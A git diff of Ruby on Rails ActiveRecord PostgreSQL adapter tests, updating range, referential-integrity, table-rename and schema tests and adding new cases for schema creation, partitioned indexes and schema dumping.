+    PostgresqlRange.create!(int4_range: 1..Float::INFINITY,
+                            int8_range: -Float::INFINITY..0,
+                            float_range: -Float::INFINITY..Float::INFINITY)
 
-      def insert_range(values)
-        @connection.execute <<-SQL
-          INSERT INTO postgresql_ranges (
-            id,
-            date_range,
-            num_range,
-            ts_range,
-            tstz_range,
-            int4_range,
-            int8_range,
-            float_range
-          ) VALUES (
-            #{values[:id]},
-            '#{values[:date_range]}',
-            '#{values[:num_range]}',
-            '#{values[:ts_range]}',
-            '#{values[:tstz_range]}',
-            '#{values[:int4_range]}',
-            '#{values[:int8_range]}',
-            '#{values[:float_range]}'
-          )
-        SQL
-      end
+    record = PostgresqlRange.first
+
+    assert_equal(1...Float::INFINITY, record.int4_range)
+    assert_equal(-Float::INFINITY...1, record.int8_range)
+    assert_equal(-Float::INFINITY...Float::INFINITY, record.float_range)
+  end
+
+  def test_endless_range_values
+    record = PostgresqlRange.create!(
+      int4_range: 1..,
+      int8_range: 10..,
+      float_range: 0.5..
+    )
+
+    record = PostgresqlRange.find(record.id)
+
+    assert_equal 1...Float::INFINITY, record.int4_range
+    assert_equal 10...Float::INFINITY, record.int8_range
+    assert_equal 0.5...Float::INFINITY, record.float_range
+  end
+
+  def test_empty_string_range_values
+    record = PostgresqlRange.create!(
+      int4_range: "",
+      int8_range: "",
+      float_range: ""
+    )
+
+    record = PostgresqlRange.find(record.id)
+
+    assert_nil record.int4_range
+    assert_nil record.int8_range
+    assert_nil record.float_range
   end
+
+  private
+    def assert_equal_round_trip(range, attribute, value)
+      round_trip(range, attribute, value)
+      assert_equal value, range.public_send(attribute)
+    end
+
+    def assert_nil_round_trip(range, attribute, value)
+      round_trip(range, attribute, value)
+      assert_nil range.public_send(attribute)
+    end
+
+    def round_trip(range, attribute, value)
+      range.public_send "#{attribute}=", value
+      assert range.save
+      assert range.reload
+    end
+
+    def insert_range(values)
+      @connection.execute <<~SQL
+        INSERT INTO postgresql_ranges (
+          id,
+          date_range,
+          num_range,
+          ts_range,
+          tstz_range,
+          int4_range,
+          int8_range,
+          float_range
+        ) VALUES (
+          #{values[:id]},
+          '#{values[:date_range]}',
+          '#{values[:num_range]}',
+          '#{values[:ts_range]}',
+          '#{values[:tstz_range]}',
+          '#{values[:int4_range]}',
+          '#{values[:int8_range]}',
+          '#{values[:float_range]}'
+        )
+      SQL
+    end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/referential_integrity_test.rb b/activerecord/test/cases/adapters/postgresql/referential_integrity_test.rb
index 0ff04bfa27381..c815c7a4c0c19 100644
--- a/activerecord/test/cases/adapters/postgresql/referential_integrity_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/referential_integrity_test.rb
@@ -1,9 +1,9 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/connection_helper"
 
 class PostgreSQLReferentialIntegrityTest < ActiveRecord::PostgreSQLTestCase
-  self.use_transactional_tests = false
-
   include ConnectionHelper
 
   IS_REFERENTIAL_INTEGRITY_SQL = lambda do |sql|
@@ -11,7 +11,7 @@ class PostgreSQLReferentialIntegrityTest < ActiveRecord::PostgreSQLTestCase
   end
 
   module MissingSuperuserPrivileges
-    def execute(sql)
+    def execute(sql, name = nil)
       if IS_REFERENTIAL_INTEGRITY_SQL.call(sql)
         super "BROKEN;" rescue nil # put transaction in broken state
         raise ActiveRecord::StatementInvalid, "PG::InsufficientPrivilege"
@@ -22,7 +22,7 @@ def execute(sql)
   end
 
   module ProgrammerMistake
-    def execute(sql)
+    def execute(sql, name = nil)
       if IS_REFERENTIAL_INTEGRITY_SQL.call(sql)
         raise ArgumentError, "something is not right."
       else
@@ -32,12 +32,12 @@ def execute(sql)
   end
 
   def setup
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
   end
 
   def teardown
     reset_connection
-    if ActiveRecord::Base.connection.is_a?(MissingSuperuserPrivileges)
+    if ActiveRecord::Base.lease_connection.is_a?(MissingSuperuserPrivileges)
       raise "MissingSuperuserPrivileges patch was not removed"
     end
   end
@@ -68,7 +68,7 @@ def test_does_not_print_warning_if_no_invalid_foreign_key_exception_was_raised
       end
       assert_equal "Should be re-raised", e.message
     end
-    assert warning.blank?, "expected no warnings but got:\n#{warning}"
+    assert_predicate warning, :blank?, "expected no warnings but got:\n#{warning}"
   end
 
   def test_does_not_break_transactions
@@ -99,12 +99,37 @@ def test_only_catch_active_record_errors_others_bubble_up
     @connection.extend ProgrammerMistake
 
     assert_raises ArgumentError do
-      @connection.disable_referential_integrity {}
+      @connection.disable_referential_integrity { }
     end
   end
 
-  private
+  def test_all_foreign_keys_valid_having_foreign_keys_in_multiple_schemas
+    @connection.execute <<~SQL
+      CREATE SCHEMA referential_integrity_test_schema;
+
+      CREATE TABLE referential_integrity_test_schema.nodes (
+        id          BIGSERIAL,
+        parent_id   INT      NOT NULL,
+        PRIMARY KEY(id),
+        CONSTRAINT fk_parent_node FOREIGN KEY(parent_id)
+                                  REFERENCES referential_integrity_test_schema.nodes(id)
+      );
+    SQL
+
+    result = @connection.execute <<~SQL
+      SELECT count(*) AS count
+        FROM information_schema.table_constraints
+       WHERE constraint_schema = 'referential_integrity_test_schema'
+         AND constraint_type = 'FOREIGN KEY';
+    SQL
+
+    assert_equal 1, result.first["count"], "referential_integrity_test_schema should have 1 foreign key"
+    @connection.check_all_foreign_keys_valid!
+  ensure
+    @connection.drop_schema "referential_integrity_test_schema", if_exists: true
+  end
 
+  private
     def assert_transaction_is_not_broken
       assert_equal 1, @connection.select_value("SELECT 1")
     end
diff --git a/activerecord/test/cases/adapters/postgresql/rename_table_test.rb b/activerecord/test/cases/adapters/postgresql/rename_table_test.rb
index e9e7f717ac5bc..13db899bf4aad 100644
--- a/activerecord/test/cases/adapters/postgresql/rename_table_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/rename_table_test.rb
@@ -1,9 +1,10 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class PostgresqlRenameTableTest < ActiveRecord::PostgreSQLTestCase
   def setup
-    @connection = ActiveRecord::Base.connection
-    @connection.create_table :before_rename, force: true
+    @connection = ActiveRecord::Base.lease_connection
   end
 
   def teardown
@@ -11,21 +12,48 @@ def teardown
     @connection.drop_table "after_rename", if_exists: true
   end
 
-  test "renaming a table also renames the primary key index" do
-    # sanity check
-    assert_equal 1, num_indices_named("before_rename_pkey")
-    assert_equal 0, num_indices_named("after_rename_pkey")
+  test "renaming a table also renames the primary key sequence" do
+    @connection.create_table :before_rename, force: true
 
     @connection.rename_table :before_rename, :after_rename
 
-    assert_equal 0, num_indices_named("before_rename_pkey")
-    assert_equal 1, num_indices_named("after_rename_pkey")
+    pk, seq = @connection.pk_and_sequence_for("after_rename")
+    assert_equal "after_rename_#{pk}_seq", seq.identifier
+  end
+
+  test "renaming a table also renames the primary key index" do
+    @connection.create_table :before_rename, force: true
+
+    assert_renames_index("before_rename_pkey", "after_rename_pkey") do
+      @connection.rename_table :before_rename, :after_rename
+    end
+  end
+
+  test "renaming a table with uuid primary key and uuid_generate_v4() default also renames the primary key index" do
+    @connection.create_table :before_rename, force: true, id: :uuid, default: -> { "uuid_generate_v4()" }
+
+    assert_renames_index("before_rename_pkey", "after_rename_pkey") do
+      @connection.rename_table :before_rename, :after_rename
+    end
+  end
+
+  test "renaming a table with uuid primary key and gen_random_uuid() default also renames the primary key index" do
+    @connection.create_table :before_rename, force: true, id: :uuid, default: -> { "gen_random_uuid()" }
+
+    assert_renames_index("before_rename_pkey", "after_rename_pkey") do
+      @connection.rename_table :before_rename, :after_rename
+    end
   end
 
   private
+    def assert_renames_index(from, to, &block)
+      assert_changes(-> { num_indices_named(from) }, from: 1, to: 0) do
+        assert_changes(-> { num_indices_named(to) }, from: 0, to: 1, &block)
+      end
+    end
 
     def num_indices_named(name)
-      @connection.execute(<<-SQL).values.length
+      @connection.execute(<<~SQL).values.length
         SELECT 1 FROM "pg_index"
           JOIN "pg_class" ON "pg_index"."indexrelid" = "pg_class"."oid"
           WHERE "pg_class"."relname" = '#{name}'
diff --git a/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb b/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb
index f6a07da85f8bc..b344026af49d2 100644
--- a/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class SchemaThing < ActiveRecord::Base
@@ -14,7 +16,7 @@ class SchemaAuthorizationTest < ActiveRecord::PostgreSQLTestCase
   USERS = ["rails_pg_schema_user1", "rails_pg_schema_user2"]
 
   def setup
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.execute "SET search_path TO '$user',public"
     set_session_auth
     USERS.each do |u|
@@ -61,7 +63,7 @@ def test_setting_auth_clears_stmt_cache
     end
   end
 
-  if ActiveRecord::Base.connection.prepared_statements
+  if ActiveRecord::Base.lease_connection.prepared_statements
     def test_auth_with_bind
       assert_nothing_raised do
         set_session_auth
@@ -75,17 +77,6 @@ def test_auth_with_bind
     end
   end
 
-  def test_schema_uniqueness
-    assert_nothing_raised do
-      set_session_auth
-      USERS.each do |u|
-        set_session_auth u
-        assert_equal u, @connection.select_value("SELECT name FROM #{TABLE_NAME} WHERE id = 1")
-        set_session_auth
-      end
-    end
-  end
-
   def test_sequence_schema_caching
     assert_nothing_raised do
       USERS.each do |u|
diff --git a/activerecord/test/cases/adapters/postgresql/schema_test.rb b/activerecord/test/cases/adapters/postgresql/schema_test.rb
index 7b065ff320636..4fb766bd22642 100644
--- a/activerecord/test/cases/adapters/postgresql/schema_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/schema_test.rb
@@ -1,6 +1,9 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/default"
 require "support/schema_dumping_helper"
+require "active_support/core_ext/object/with"
 
 module PGSchemaHelper
   def with_schema_search_path(schema_search_path)
@@ -11,10 +14,15 @@ def with_schema_search_path(schema_search_path)
     @connection.schema_search_path = "'$user', public"
     @connection.schema_cache.clear!
   end
+
+  def with_dump_schemas(value, &block)
+    ActiveRecord.with(dump_schemas: value, &block)
+  end
 end
 
 class SchemaTest < ActiveRecord::PostgreSQLTestCase
   include PGSchemaHelper
+  include SchemaDumpingHelper
   self.use_transactional_tests = false
 
   SCHEMA_NAME = "test_schema"
@@ -43,6 +51,8 @@ class SchemaTest < ActiveRecord::PostgreSQLTestCase
   PK_TABLE_NAME = "table_with_pk"
   UNMATCHED_SEQUENCE_NAME = "unmatched_primary_key_default_value_seq"
   UNMATCHED_PK_TABLE_NAME = "table_with_unmatched_sequence_for_pk"
+  PARTITIONED_TABLE = "measurements"
+  PARTITIONED_TABLE_INDEX = "index_measurements_on_logdate_and_city_id"
 
   class Thing1 < ActiveRecord::Base
     self.table_name = "test_schema.things"
@@ -72,10 +82,11 @@ class Song < ActiveRecord::Base
   class Album < ActiveRecord::Base
     self.table_name = "music.albums"
     has_and_belongs_to_many :songs
+    def self.default_scope; where(deleted: false); end
   end
 
   def setup
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.execute "CREATE SCHEMA #{SCHEMA_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
     @connection.execute "CREATE TABLE #{SCHEMA_NAME}.\"#{TABLE_NAME}.table\" (#{COLUMNS.join(',')})"
     @connection.execute "CREATE TABLE #{SCHEMA_NAME}.\"#{CAPITALIZED_TABLE_NAME}\" (#{COLUMNS.join(',')})"
@@ -91,6 +102,7 @@ def setup
     @connection.execute "CREATE INDEX #{INDEX_E_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME}  USING gin (#{INDEX_E_COLUMN});"
     @connection.execute "CREATE INDEX #{INDEX_E_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME}  USING gin (#{INDEX_E_COLUMN});"
     @connection.execute "CREATE TABLE #{SCHEMA_NAME}.#{PK_TABLE_NAME} (id serial primary key)"
+    @connection.execute "CREATE TABLE #{SCHEMA2_NAME}.#{PK_TABLE_NAME} (id serial primary key)"
     @connection.execute "CREATE SEQUENCE #{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}"
     @connection.execute "CREATE TABLE #{SCHEMA_NAME}.#{UNMATCHED_PK_TABLE_NAME} (id integer NOT NULL DEFAULT nextval('#{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}'::regclass), CONSTRAINT unmatched_pkey PRIMARY KEY (id))"
   end
@@ -101,26 +113,52 @@ def setup
   end
 
   def test_schema_names
-    assert_equal ["public", "test_schema", "test_schema2"], @connection.schema_names
+    schema_names = @connection.schema_names
+    assert_includes schema_names, "public"
+    assert_includes schema_names, "test_schema"
+    assert_includes schema_names, "test_schema2"
+    assert_includes schema_names, "hint_plan" if @connection.supports_optimizer_hints?
   end
 
   def test_create_schema
-    begin
-      @connection.create_schema "test_schema3"
-      assert @connection.schema_names.include? "test_schema3"
-    ensure
-      @connection.drop_schema "test_schema3"
-    end
+    @connection.create_schema "test_schema3"
+    assert @connection.schema_names.include? "test_schema3"
+  ensure
+    @connection.drop_schema "test_schema3"
   end
 
   def test_raise_create_schema_with_existing_schema
-    begin
+    @connection.create_schema "test_schema3"
+    assert_raises(ActiveRecord::StatementInvalid) do
       @connection.create_schema "test_schema3"
-      assert_raises(ActiveRecord::StatementInvalid) do
-        @connection.create_schema "test_schema3"
-      end
-    ensure
-      @connection.drop_schema "test_schema3"
+    end
+  ensure
+    @connection.drop_schema "test_schema3"
+  end
+
+  def test_force_create_schema
+    @connection.create_schema "test_schema3"
+    assert_queries_match(/DROP SCHEMA IF EXISTS "test_schema3"/) do
+      @connection.create_schema "test_schema3", force: true
+    end
+    assert @connection.schema_names.include?("test_schema3")
+  ensure
+    @connection.drop_schema "test_schema3"
+  end
+
+  def test_create_schema_if_not_exists
+    @connection.create_schema "test_schema3"
+    assert_queries_match('CREATE SCHEMA IF NOT EXISTS "test_schema3"') do
+      @connection.create_schema "test_schema3", if_not_exists: true
+    end
+    assert @connection.schema_names.include?("test_schema3")
+  ensure
+    @connection.drop_schema "test_schema3"
+  end
+
+  def test_create_schema_raises_if_both_force_and_if_not_exists_provided
+    assert_raises(ArgumentError, match: "Options `:force` and `:if_not_exists` cannot be used simultaneously.") do
+      @connection.create_schema "test_schema3", force: true, if_not_exists: true
     end
   end
 
@@ -141,19 +179,21 @@ def test_drop_schema_if_exists
   end
 
   def test_habtm_table_name_with_schema
-    ActiveRecord::Base.connection.drop_schema "music", if_exists: true
-    ActiveRecord::Base.connection.create_schema "music"
-    ActiveRecord::Base.connection.execute <<-SQL
-      CREATE TABLE music.albums (id serial primary key);
+    ActiveRecord::Base.lease_connection.drop_schema "music", if_exists: true
+    ActiveRecord::Base.lease_connection.create_schema "music"
+    ActiveRecord::Base.lease_connection.execute <<~SQL
+      CREATE TABLE music.albums (id serial primary key, deleted boolean default false);
       CREATE TABLE music.songs (id serial primary key);
       CREATE TABLE music.albums_songs (album_id integer, song_id integer);
     SQL
 
     song = Song.create
-    Album.create
-    assert_equal song, Song.includes(:albums).references(:albums).first
+    album = song.albums.create
+    assert_equal song, Song.includes(:albums).where("albums.id": album.id).first
+    assert_equal [album.id], Song.joins(:albums).pluck("albums.id")
+    assert_equal [album.id], Song.joins(:albums).pluck("music.albums.id")
   ensure
-    ActiveRecord::Base.connection.drop_schema "music", if_exists: true
+    ActiveRecord::Base.lease_connection.drop_schema "music", if_exists: true
   end
 
   def test_drop_schema_with_nonexisting_schema
@@ -166,19 +206,49 @@ def test_drop_schema_with_nonexisting_schema
     end
   end
 
+  def test_rename_schema
+    @connection.create_schema("test_schema3")
+    @connection.rename_schema("test_schema3", "test_schema4")
+    assert_not_includes @connection.schema_names, "test_schema3"
+    assert_includes @connection.schema_names, "test_schema4"
+  ensure
+    @connection.drop_schema("test_schema3", if_exists: true)
+    @connection.drop_schema("test_schema4", if_exists: true)
+  end
+
+  def test_rename_schema_with_nonexisting_schema
+    assert_raises(ActiveRecord::StatementInvalid) do
+      @connection.rename_schema("idontexist", "neitherdoi")
+    end
+  end
+
+  def test_rename_schema_with_existing_target_name
+    @connection.create_schema("test_schema3")
+    @connection.create_schema("test_schema4")
+    assert_raises(ActiveRecord::StatementInvalid) do
+      @connection.rename_schema("test_schema3", "test_schema4")
+    end
+  ensure
+    @connection.drop_schema("test_schema3", if_exists: true)
+    @connection.drop_schema("test_schema4", if_exists: true)
+  end
+
   def test_raise_wrapped_exception_on_bad_prepare
     assert_raises(ActiveRecord::StatementInvalid) do
       @connection.exec_query "select * from developers where id = ?", "sql", [bind_param(1)]
     end
   end
 
-  if ActiveRecord::Base.connection.prepared_statements
+  if ActiveRecord::Base.lease_connection.prepared_statements
     def test_schema_change_with_prepared_stmt
       altered = false
-      @connection.exec_query "select * from developers where id = $1", "sql", [bind_param(1)]
-      @connection.exec_query "alter table developers add column zomg int", "sql", []
-      altered = true
-      @connection.exec_query "select * from developers where id = $1", "sql", [bind_param(1)]
+      assert_nothing_raised do
+        @connection.exec_query "select * from developers where id = $1", "sql", [bind_param(1)]
+        @connection.exec_query "alter table developers add column zomg int", "sql", []
+        altered = true
+        @connection.exec_query "select * from developers where id = $1", "sql", [bind_param(1)]
+      end
+      pass
     ensure
       # We are not using DROP COLUMN IF EXISTS because that syntax is only
       # supported by pg 9.X
@@ -201,12 +271,12 @@ def test_data_source_exists_when_on_schema_search_path
 
   def test_data_source_exists_when_not_on_schema_search_path
     with_schema_search_path("PUBLIC") do
-      assert(!@connection.data_source_exists?(TABLE_NAME), "data_source exists but should not be found")
+      assert_not(@connection.data_source_exists?(TABLE_NAME), "data_source exists but should not be found")
     end
   end
 
   def test_data_source_exists_wrong_schema
-    assert(!@connection.data_source_exists?("foo.things"), "data_source should not exist")
+    assert_not(@connection.data_source_exists?("foo.things"), "data_source should not exist")
   end
 
   def test_data_source_exists_quoted_names
@@ -254,6 +324,16 @@ def test_proper_encoding_of_table_name
     assert_equal '"schema.name"."table.name"', @connection.quote_table_name('"schema.name"."table.name"')
   end
 
+  def test_where_with_qualified_schema_name
+    Thing1.create(id: 1, name: "thing1", email: "thing1@localhost", moment: Time.now)
+    assert_equal ["thing1"], Thing1.where("test_schema.things.name": "thing1").map(&:name)
+  end
+
+  def test_pluck_with_qualified_schema_name
+    Thing1.create(id: 1, name: "thing1", email: "thing1@localhost", moment: Time.now)
+    assert_equal ["thing1"], Thing1.pluck(:"test_schema.things.name")
+  end
+
   def test_classes_with_qualified_schema_name
     assert_equal 0, Thing1.count
     assert_equal 0, Thing2.count
@@ -308,7 +388,15 @@ def test_index_name_exists
       assert @connection.index_name_exists?(TABLE_NAME, INDEX_E_NAME)
       assert @connection.index_name_exists?(TABLE_NAME, INDEX_E_NAME)
       assert_not @connection.index_name_exists?(TABLE_NAME, "missing_index")
+
+      if supports_partitioned_indexes?
+        create_partitioned_table
+        create_partitioned_table_index
+        assert @connection.index_name_exists?(PARTITIONED_TABLE, PARTITIONED_TABLE_INDEX)
+      end
     end
+
+    assert @connection.index_name_exists?("#{SCHEMA_NAME}.#{TABLE_NAME}", INDEX_A_NAME)
   end
 
   def test_dump_indexes_for_schema_one
@@ -326,6 +414,13 @@ def test_dump_indexes_for_schema_multiple_schemas_in_search_path
   def test_dump_indexes_for_table_with_scheme_specified_in_name
     indexes = @connection.indexes("#{SCHEMA_NAME}.#{TABLE_NAME}")
     assert_equal 5, indexes.size
+
+    if supports_partitioned_indexes?
+      create_partitioned_table
+      create_partitioned_table_index
+      indexes = @connection.indexes("#{SCHEMA_NAME}.#{PARTITIONED_TABLE}")
+      assert_equal 1, indexes.size
+    end
   end
 
   def test_with_uppercase_index_name
@@ -334,6 +429,15 @@ def test_with_uppercase_index_name
     with_schema_search_path SCHEMA_NAME do
       assert_nothing_raised { @connection.remove_index "things", name: "things_Index" }
     end
+
+    if supports_partitioned_indexes?
+      create_partitioned_table
+      @connection.execute "CREATE INDEX \"#{PARTITIONED_TABLE}_Index\" ON #{SCHEMA_NAME}.#{PARTITIONED_TABLE} (logdate, city_id)"
+
+      with_schema_search_path SCHEMA_NAME do
+        assert_nothing_raised { @connection.remove_index PARTITIONED_TABLE, name: "#{PARTITIONED_TABLE}_Index" }
+      end
+    end
   end
 
   def test_remove_index_when_schema_specified
@@ -348,6 +452,22 @@ def test_remove_index_when_schema_specified
 
     @connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
     assert_raises(ArgumentError) { @connection.remove_index "#{SCHEMA2_NAME}.things", name: "#{SCHEMA_NAME}.things_Index" }
+
+    if supports_partitioned_indexes?
+      create_partitioned_table
+
+      @connection.execute "CREATE INDEX \"#{PARTITIONED_TABLE}_Index\" ON #{SCHEMA_NAME}.#{PARTITIONED_TABLE} (logdate, city_id)"
+      assert_nothing_raised { @connection.remove_index PARTITIONED_TABLE, name: "#{SCHEMA_NAME}.#{PARTITIONED_TABLE}_Index" }
+
+      @connection.execute "CREATE INDEX \"#{PARTITIONED_TABLE}_Index\" ON #{SCHEMA_NAME}.#{PARTITIONED_TABLE} (logdate, city_id)"
+      assert_nothing_raised { @connection.remove_index "#{SCHEMA_NAME}.#{PARTITIONED_TABLE}", name: "#{PARTITIONED_TABLE}_Index" }
+
+      @connection.execute "CREATE INDEX \"#{PARTITIONED_TABLE}_Index\" ON #{SCHEMA_NAME}.#{PARTITIONED_TABLE} (logdate, city_id)"
+      assert_nothing_raised { @connection.remove_index "#{SCHEMA_NAME}.#{PARTITIONED_TABLE}", name: "#{SCHEMA_NAME}.#{PARTITIONED_TABLE}_Index" }
+
+      @connection.execute "CREATE INDEX \"#{PARTITIONED_TABLE}_Index\" ON #{SCHEMA_NAME}.#{PARTITIONED_TABLE} (logdate, city_id)"
+      assert_raises(ArgumentError) { @connection.remove_index "#{SCHEMA2_NAME}.#{PARTITIONED_TABLE}", name: "#{SCHEMA_NAME}.#{PARTITIONED_TABLE}_Index" }
+    end
   end
 
   def test_primary_key_with_schema_specified
@@ -361,7 +481,7 @@ def test_primary_key_with_schema_specified
   end
 
   def test_primary_key_assuming_schema_search_path
-    with_schema_search_path(SCHEMA_NAME) do
+    with_schema_search_path("#{SCHEMA_NAME}, #{SCHEMA2_NAME}") do
       assert_equal "id", @connection.primary_key(PK_TABLE_NAME), "primary key should be found"
     end
   end
@@ -415,7 +535,23 @@ def test_schema_exists?
     end
   end
 
-  def test_reset_pk_sequence
+  def test_reset_column_sequences!
+    sequence_name = "#{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}"
+    @connection.execute "SELECT setval('#{sequence_name}', 123)"
+    assert_equal 124, @connection.select_value("SELECT nextval('#{sequence_name}')")
+    @connection.reset_column_sequences!([["#{SCHEMA_NAME}.#{UNMATCHED_PK_TABLE_NAME}", "id", sequence_name, nil, 1]])
+    assert_equal 1, @connection.select_value("SELECT nextval('#{sequence_name}')")
+  end
+
+  def test_reset_column_sequences_with_just_tables
+    sequence_name = "#{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}"
+    @connection.execute "SELECT setval('#{sequence_name}', 123)"
+    assert_equal 124, @connection.select_value("SELECT nextval('#{sequence_name}')")
+    @connection.reset_column_sequences!([["#{SCHEMA_NAME}.#{UNMATCHED_PK_TABLE_NAME}"]])
+    assert_equal 1, @connection.select_value("SELECT nextval('#{sequence_name}')")
+  end
+
+  def test_reset_pk_sequence!
     sequence_name = "#{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}"
     @connection.execute "SELECT setval('#{sequence_name}', 123)"
     assert_equal 124, @connection.select_value("SELECT nextval('#{sequence_name}')")
@@ -431,6 +567,24 @@ def test_set_pk_sequence
     @connection.reset_pk_sequence! table_name
   end
 
+  def test_rename_index
+    old_name = INDEX_A_NAME
+    new_name = "#{old_name}_new"
+    @connection.rename_index("#{SCHEMA_NAME}.#{TABLE_NAME}", old_name, new_name)
+    assert_not @connection.index_name_exists?("#{SCHEMA_NAME}.#{TABLE_NAME}", old_name)
+    assert @connection.index_name_exists?("#{SCHEMA_NAME}.#{TABLE_NAME}", new_name)
+  end
+
+  def test_dumping_schemas
+    with_dump_schemas("test_schema,test_schema2,public") do
+      output = dump_all_table_schema(/./)
+
+      assert_no_match %r{create_schema "public"}, output
+      assert_match %r{create_schema "test_schema"}, output
+      assert_match %r{create_schema "test_schema2"}, output
+    end
+  end
+
   private
     def columns(table_name)
       @connection.send(:column_definitions, table_name).map do |name, type, default|
@@ -456,7 +610,7 @@ def do_dump_index_tests_for_schema(this_schema_name, first_index_column_name, se
         assert_equal :btree, index_d.using
         assert_equal :gin,   index_e.using
 
-        assert_equal :desc,  index_d.orders[INDEX_D_COLUMN]
+        assert_equal :desc,  index_d.orders
       end
     end
 
@@ -470,36 +624,140 @@ def do_dump_index_assertions_for_one_index(this_index, this_index_name, this_ind
     def bind_param(value)
       ActiveRecord::Relation::QueryAttribute.new(nil, value, ActiveRecord::Type::Value.new)
     end
+
+    def create_partitioned_table
+      @connection.execute "CREATE TABLE #{SCHEMA_NAME}.\"#{PARTITIONED_TABLE}\" (city_id integer not null, logdate date not null) PARTITION BY LIST (city_id)"
+    end
+
+    def create_partitioned_table_index
+      @connection.execute "CREATE INDEX #{PARTITIONED_TABLE_INDEX} ON #{SCHEMA_NAME}.#{PARTITIONED_TABLE} (logdate, city_id)"
+    end
 end
 
 class SchemaForeignKeyTest < ActiveRecord::PostgreSQLTestCase
   include SchemaDumpingHelper
 
   setup do
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
+    @connection.create_schema("my_schema")
+  end
+
+  teardown do
+    @connection.drop_schema("my_schema", if_exists: true)
   end
 
   def test_dump_foreign_key_targeting_different_schema
-    @connection.create_schema "my_schema"
     @connection.create_table "my_schema.trains" do |t|
       t.string :name
     end
     @connection.create_table "wagons" do |t|
       t.integer :train_id
     end
-    @connection.add_foreign_key "wagons", "my_schema.trains", column: "train_id"
+    @connection.add_foreign_key "wagons", "my_schema.trains"
     output = dump_table_schema "wagons"
-    assert_match %r{\s+add_foreign_key "wagons", "my_schema\.trains", column: "train_id"$}, output
+    assert_match %r{\s+add_foreign_key "wagons", "my_schema\.trains"$}, output
   ensure
     @connection.drop_table "wagons", if_exists: true
     @connection.drop_table "my_schema.trains", if_exists: true
-    @connection.drop_schema "my_schema", if_exists: true
+  end
+
+  def test_create_foreign_key_same_schema
+    @connection.create_table "my_schema.trains"
+    @connection.create_table "my_schema.wagons" do |t|
+      t.integer :train_id
+    end
+    @connection.add_foreign_key "my_schema.wagons", "my_schema.trains"
+    assert @connection.foreign_key_exists?("my_schema.wagons", "my_schema.trains")
+  end
+
+  def test_create_foreign_key_different_schemas
+    @connection.create_schema "my_other_schema"
+    @connection.create_table "my_schema.trains"
+    @connection.create_table "my_other_schema.wagons" do |t|
+      t.integer :train_id
+    end
+    @connection.add_foreign_key "my_other_schema.wagons", "my_schema.trains"
+    assert @connection.foreign_key_exists?("my_other_schema.wagons", "my_schema.trains")
+  ensure
+    @connection.drop_schema "my_other_schema", if_exists: true
+  end
+end
+
+class SchemaIndexOpclassTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+
+  setup do
+    @connection = ActiveRecord::Base.lease_connection
+    @connection.create_table "trains" do |t|
+      t.string :name
+      t.string :position
+      t.text :description
+    end
+  end
+
+  teardown do
+    @connection.drop_table "trains", if_exists: true
+  end
+
+  def test_string_opclass_is_dumped
+    @connection.execute "CREATE INDEX trains_name_and_description ON trains USING btree(name text_pattern_ops, description text_pattern_ops)"
+
+    output = dump_table_schema "trains"
+
+    assert_match(/opclass: :text_pattern_ops/, output)
+  end
+
+  def test_non_default_opclass_is_dumped
+    @connection.execute "CREATE INDEX trains_name_and_description ON trains USING btree(name, description text_pattern_ops)"
+
+    output = dump_table_schema "trains"
+
+    assert_match(/opclass: \{ description: :text_pattern_ops \}/, output)
+  end
+
+  def test_opclass_class_parsing_on_non_reserved_and_cannot_be_function_or_type_keyword
+    @connection.enable_extension("pg_trgm")
+    @connection.execute "CREATE INDEX trains_position ON trains USING gin(position gin_trgm_ops)"
+    @connection.execute "CREATE INDEX trains_name_and_position ON trains USING btree(name, position text_pattern_ops)"
+
+    output = dump_table_schema "trains"
+
+    assert_match(/opclass: :gin_trgm_ops/, output)
+    assert_match(/opclass: \{ position: :text_pattern_ops \}/, output)
+  end
+end
+
+class SchemaIndexNullsOrderTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+
+  setup do
+    @connection = ActiveRecord::Base.lease_connection
+    @connection.create_table "trains" do |t|
+      t.string :name
+      t.text :description
+    end
+  end
+
+  teardown do
+    @connection.drop_table "trains", if_exists: true
+  end
+
+  def test_nulls_order_is_dumped
+    @connection.execute "CREATE INDEX trains_name_and_description ON trains USING btree(name NULLS FIRST, description)"
+    output = dump_table_schema "trains"
+    assert_match(/order: \{ name: "NULLS FIRST" \}/, output)
+  end
+
+  def test_non_default_order_with_nulls_is_dumped
+    @connection.execute "CREATE INDEX trains_name_and_desc ON trains USING btree(name DESC NULLS LAST, description)"
+    output = dump_table_schema "trains"
+    assert_match(/order: \{ name: "DESC NULLS LAST" \}/, output)
   end
 end
 
 class DefaultsUsingMultipleSchemasAndDomainTest < ActiveRecord::PostgreSQLTestCase
   setup do
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.drop_schema "schema_1", if_exists: true
     @connection.execute "CREATE SCHEMA schema_1"
     @connection.execute "CREATE DOMAIN schema_1.text AS text"
